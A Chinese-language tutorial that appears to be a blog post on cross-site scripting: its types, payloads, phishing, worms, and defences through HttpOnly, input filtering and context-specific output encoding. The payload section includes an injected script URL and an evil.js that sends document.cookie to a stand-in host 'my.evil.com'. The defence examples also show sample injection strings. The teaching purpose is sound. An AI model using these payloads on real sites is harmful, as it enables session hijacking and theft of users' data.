Introduction

Intro

跨站”脚本”攻击(Cross Site Scripting), 为了避免同(Cascading Style Sheet)区别, 命名
为 XSS.

XSS 攻击, 黑客通过” HTML 注入”篡改网页, 插入恶意的脚本, 从而在用户浏览网页的时候,
控制用户的浏览器.

注意, XSS 的重点在于篡改网页, 根据网页的漏洞获取某些重要信息, 这个和
csrf有一个非常重要的区别,
后者无需寻找网页的漏洞, 仅仅通过”跨站请求伪造”就可以完成.

在一开始, XSS 攻击是跨网站的, 但是随着 WEB 前端应用的复杂化, 是否跨域已经不一定,
但是 XSS 仍旧延续下来.

Classify

  • 反射型 XSS: 简单的用户的输入(点击)反射给浏览器, 需要诱使用户”点击”恶意链接
  • 存储型 XSS: 用户的输入会存储在 DB 中, 之后任何用户浏览该页面都会执行恶意脚本
  • DOM Based XSS: 反射型 XSS, 更改 DOM 结构从而产生攻击

Simple Attack

反射型 XSS

Attack-1 向有漏洞网站 WEB-1 注入恶意代码(js),User-1 访问时会在 browser 端自动执行该段 JS
脚本(我这么相信 WEB-1,你居然卖我),盗取 User-1 的 cookie 信息,从而获取 Web-1 服务上的重要信息.

发生反射型 XSS 的方式都是通过某一些链接来产生, 用户点击留言板上的连接, 就会
产生某些操作.

关于跨站点, 例如 QQ 上的某个链接, 黄色网站的某一个链接, 实际上这些链接执行目标网站, 在链接时会执行脚本,
csrf说明.

存储型 XSS

Web 网站上如果存在动态内容,则动态站点会受到 XSS 攻击.由于 web 站点未对用户 Post 数据做
充分的检查过滤,允许用户在数据中掺入 HTML 代码.

存储型 XSS 和反射型 XSS 的唯一区别就是是否需要用户自动触发, 存储的地方. 前者的
恶意脚本已经存储到服务器 DB 中, 用户浏览该网页时, 自动执行该脚本, 获取用户数据.

例如, 留言板系统, 这是攻击最常发生的地方.

security-xss

XSS Payload

Intro

XSS 攻击成功后, 攻击者就能构造脚本, 通过这些恶意脚本, 控制用户的浏览器, 这些
恶意脚本, 称为” XSS Payload “.

例如对于如下的反射型 XSS:

1
https://unusebamboo.top/test.html?abc="><script src=https://my.evil.com/evil.js ></script>

evil.js:

1
2
3
4
// 伪造一个透明图片, 在加载完成后, 浏览器加载该图片, 然后cookie被盗取
var img = document.createElement('img');
img.src = 'https://my.evil.com/log?' + escape(document.cookie);
document.body.appendChild(img);

XSS 钓鱼

结合钓鱼网站思路和 XSS, 利用 XSS 脚本构造一个伪造的登录页面, 盗取用户的密码信息.

XSS Worm

蠕虫, 利用服务器漏洞, 在用户与用户沟通频繁的应用社交产品中, 进行快速的传播.

例如: 站内信, 用户留言等, 会是 Worm 的高发攻击区域.

other

通过 xss, 可以盗取用户浏览器版本信息, 设备信息, browser 控件, IP 地址等.

XSS Defeat

HttpOnly

禁止 javascript 读取 cookie

输入检查(XSS Filter)

使用”黑名单”, 对指定的特殊字符进行特殊的处理, 输入检查的逻辑必须放在服务器端
进行处理, 因为在 browser 容易被攻击者绕过, 目前一般是在 client/server 同时进行
检查操作.

client 可以阻挡大部分的用户非法输入, 服务器端进行全部的检查, 从而降低资源消耗.

但是,在输入检查中, 冗余造成某些用户正常输入被编码和转义, 但是必要的编码 + Filter 并
存储到 DB 是必要的.

输出检查

在变量输出到 HTML 页面(template), 或者 javascript 输出变量值到 HTML 中时, 需要
使用编码或者转义的方式来避免 XSS 攻击.

使用特殊的编码函数对输出变量进行转义处理.

Defeat Method

Intro

对于编码转义, 需要根据具体情况来进行具体处理, 不同的场景使用不同的编码转义方式.

例如, 对于如下的 XSS, 如果使用 HTMLEncode, 实际上起不到任何效果:

1
2
3
<body>
<a href="#" onclick="alert('$var');">test</a>
</body>
1
2
var str = "');alert('2";
str = htmlencode(str);

上述的代码如果使用 HTMLEncode, 因为对于 browser 来说, htmlparser 会优先与 javascript
parser, 所以在进行 htmlparser 进行解码之后, 整个 body 已经是 XSS 攻击样例了.

HTML

标签: 如果某一个变量在 HTML 标签中输出, 则使用 HTMLEncode 来进行防御

1
2
3
4
5
6
7
8
9
<div>$var</div>
<a href="#">$var</a>

<!-- 对<script>进行编码, 防御XSS, 在渲染时会对下面的特殊字符进行转义-->
$var = "
<script>
alert(/xss/);
</script>
" $var = "<img src="#" onerror="alert(1)" />"

属性: 如果某一个变量在 HTML 属性中输出, 则使用 HTMLEncode 来进行防御

javascript

  • script 标签: 在 script 标签中输出, 使用 javascriptEncode 来完成
  • 事件: 使用 Javascript 来完成防御

CSS

不建议直接对 CSS 文件输出.

URL

在 URL 地址中, 如果存在变量或者特殊字符, 使用 URLEncode 进行编码

DOM Based XSS

对于 DOM Based XSS 的防护, 无法在服务器里对变量进行 HTMLEncode, JavascriptEncode
操作, 因为在更改 DOM 时, 仅仅在 Javascript 中完成, 而具体输出到标签, 属性,
时间, 则看具体情况.

所以在 javascript 中, 需要根据具体情况对可能产生 XSS 的变量进行相应编码操作.

富文本

Intro

富文本–允许用户提交一些自定义的 HTML 代码, 例如用户论坛里的图片, 视频, 表格等,
这些”富文本”都是通过 HTML 代码来实现.

Defeat

在处理富文本时, 首先需要对”输入检查”, 对标签的选择上使用”白名单”, 限定标签
的使用, 从而避免漏洞产生.